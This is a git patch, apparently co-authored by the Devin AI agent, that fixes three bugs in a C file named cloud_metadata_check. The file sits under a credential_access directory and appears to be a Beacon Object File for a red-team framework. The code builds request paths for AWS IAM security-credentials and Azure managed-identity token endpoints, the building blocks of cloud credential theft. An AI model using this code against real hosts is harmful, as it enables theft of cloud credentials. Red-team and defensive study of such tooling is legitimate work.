From 0c39bea2e64bb4158dd15adc8b272622810f2bd5 Mon Sep 17 00:00:00 2001
From: Gavin K <at0m1czzz69@gmail.com>
Date: Thu, 11 Jun 2026 03:34:11 +0000
Subject: [PATCH] =?UTF-8?q?Fix=20bugs=20in=20cloud=5Fmetadata=5Fcheck:=20s?=
 =?UTF-8?q?elect()=20error=20fd,=20O(n=C2=B2)=20cred=20path,=20redundant?=
 =?UTF-8?q?=20URL=20build?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

- probe_tcp_port: add error fd set to select() so failed non-blocking
  connects that only signal the error set are correctly detected
- build_aws_cred_path: track append position in a local variable instead
  of calling wstr_len() on each iteration (O(n) instead of O(n²))
- build_appservice_token_path: resolve the resource string once up front
  instead of building the URL with a hardcoded default then tearing it
  down and rebuilding when a custom resource is provided

Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
---
 .../cloud_metadata_check.c                    | 35 ++++++++-----------
 1 file changed, 15 insertions(+), 20 deletions(-)

diff --git a/credential_access/cloud_metadata_check/cloud_metadata_check.c b/credential_access/cloud_metadata_check/cloud_metadata_check.c
index c787fd2..704eb51 100644
--- a/credential_access/cloud_metadata_check/cloud_metadata_check.c
+++ b/credential_access/cloud_metadata_check/cloud_metadata_check.c
@@ -666,27 +666,17 @@ static void build_appservice_token_path(wchar_t *dst, size_t dst_max,
                                         const wchar_t *base_path,
                                         const char *api_version,
                                         const char *resource) {
+    const char *res;
     if (!dst || dst_max == 0) return;
+    res = (resource && resource[0]) ? resource : "https://management.azure.com/";
     wstr_copy(dst, dst_max, base_path && base_path[0] ? base_path : L"/");
     if (wstr_has_char(dst, L'?')) {
-        wstr_append_ascii(dst, dst_max, "&resource=https://management.azure.com/&api-version=");
+        wstr_append_ascii(dst, dst_max, "&resource=");
     } else {
-        wstr_append_ascii(dst, dst_max, "?resource=https://management.azure.com/&api-version=");
-    }
-    if (resource && resource[0]) {
-        const wchar_t *marker = wstr_find_i(dst, L"resource=https://management.azure.com/");
-        if (marker) {
-            dst[0] = 0;
-            wstr_copy(dst, dst_max, base_path && base_path[0] ? base_path : L"/");
-            if (wstr_has_char(dst, L'?')) {
-                wstr_append_ascii(dst, dst_max, "&resource=");
-            } else {
-                wstr_append_ascii(dst, dst_max, "?resource=");
-            }
-            wstr_append_ascii(dst, dst_max, resource);
-            wstr_append_ascii(dst, dst_max, "&api-version=");
-        }
+        wstr_append_ascii(dst, dst_max, "?resource=");
     }
+    wstr_append_ascii(dst, dst_max, res);
+    wstr_append_ascii(dst, dst_max, "&api-version=");
     wstr_append_ascii(dst, dst_max, api_version);
 }
 
@@ -962,16 +952,18 @@ static int json_field_value_snip(const char *body, const char *key,
 }
 
 static void build_aws_cred_path(wchar_t *path, size_t path_max, const char *role) {
+    size_t pos;
     size_t i;
     if (!path || path_max < 8 || !role) return;
     wstr_copy(path, path_max, L"/latest/meta-data/iam/security-credentials/");
+    pos = wstr_len(path);
     i = 0;
-    while (role[i] && wstr_len(path) < path_max - 1) {
-        size_t pos = wstr_len(path);
+    while (role[i] && pos < path_max - 1) {
         path[pos] = (wchar_t)(unsigned char)role[i];
-        path[pos + 1] = 0;
+        pos++;
         i++;
     }
+    path[pos] = 0;
 }
 
 static int probe_tcp_port(const char *ip, u_short port) {
@@ -979,6 +971,7 @@ static int probe_tcp_port(const char *ip, u_short port) {
     SOCKET sock = INVALID_SOCKET;
     SOCKADDR_IN_BOF addr;
     FD_SET_BOF wfds;
+    FD_SET_BOF efds;
     TIMEVAL_BOF tv;
     u_long nb_mode = 1;
     int sock_err = 0;
@@ -1015,9 +1008,11 @@ static int probe_tcp_port(const char *ip, u_short port) {
     } else if (wsa_err == WSAEWOULDBLOCK) {
         FD_ZERO_BOF(&wfds);
         FD_SET1_BOF(sock, &wfds);
+        FD_ZERO_BOF(&efds);
+        FD_SET1_BOF(sock, &efds);
         tv.tv_sec = 1;
         tv.tv_usec = 0;
-        if (WS2_32$select(0, NULL, &wfds, NULL, &tv) > 0) {
+        if (WS2_32$select(0, NULL, &wfds, &efds, &tv) > 0) {
             if (WS2_32$getsockopt(sock, SOL_SOCKET, SO_ERROR,
                                   (char *)&sock_err, &sock_err_len) == 0
                 && sock_err == 0) {